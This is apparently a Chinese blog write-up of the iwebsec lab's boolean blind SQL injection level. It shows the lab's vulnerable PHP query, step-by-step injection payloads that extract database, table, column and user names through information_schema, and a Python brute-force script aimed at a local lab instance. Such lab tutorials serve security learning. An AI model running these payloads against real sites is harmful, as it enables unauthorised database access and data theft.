iwebsec sql-bool注入

03-bool注入

打开如下:

在这里插入图片描述

分析代码:

if(isset($_GET['id'])){
	$id=$_GET['id'];

	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
	else{
		exit();
	}
	if ($result) {
		?>
		<table class='table table-striped'>
		<?php
		while ($row = mysql_fetch_assoc($result)) {
			echo '<div class="alert alert-success">';
			echo "<p>welcome to iwebsec!!!</p></div>";
			echo "</tr>";
		}
		echo "</table>";
	}
	else
	{
//	echo '<font color= "#FFFFFF">';
	print_r(1);
//	echo "</font>";
	}

查询正确输出welcome to iwebsec ,查询错误输出1,总的是数字型注入,所以还是可以用数字型注入判断是否存在注入

在这里插入图片描述

回显了三个welcome to iwebsec 说明存在数字型注入

在这里插入图片描述

猜数据库名长度:

1 or length(database())=7%23

回显成功 数据库长度七位

在这里插入图片描述

接下来就是爆数据库名,由于是bool注入只有两种回显,所以只能一个一个字符猜,用ascii码猜

1 or ascii(substr(database(),1,1))=105%23    #数据库第一个字符是i对应的ascii是105

用脚本跑

import requests 
import re
for i in range(1,11):
	for j in range(97,123):
		response = requests.get("http://localhost:8050/sqli/03.php?id=1 and ascii(mid(database(),"+str(i)+",1))="+str(j)+"")
		html = response.text
		content = re.search("<p>welcome to iwebsec!!!</p>",html)
		if not content is None:
			print("http://localhost:8050/sqli/03.php?id=1 and ascii(mid(database(),"+str(i)+",1))="+str(j)+"")
			print(chr(j))

拆解表名

1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在

注释:
原理是使用count()这个函数来判断table_name这个表的数量有几个=
然后后面有一个where判断来指定是当前数据库
在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常

在这里插入图片描述

由上图可知,有4个表

1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4 #显⽰存在

注释:
select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符
limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的:
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开
limit n 等同于 limit 0,n
limit 0,1 默认0(i)就是从1开始

在这里插入图片描述

我们得知第一个表长度为4

猜解表的名字:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115%23

语法格式是:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 #
i 是第几个表
n 是第几个字符长度

猜解字段的数量:

1 and (select count(column_name) from information_schema.columns where table_name='sqli')=4 %23

在这里插入图片描述

猜解第⼀个字段的长度:

猜解第一个字段的长度是否为21 and length(substr((select column_name from information_schema.columns where table_name= 'sqli' limit 0,1),1))=2%23 

在这里插入图片描述

猜解第⼀个字段名:

1 and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=101 #
注释:
i代表查询第几个字段名
n代码查询字段名的第几个字符

在这里插入图片描述

拆解数据

1 and ascii(substr((select username from iwebsec.sqli limit 0,1),1,1))=117%23

select 后面跟字段名

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值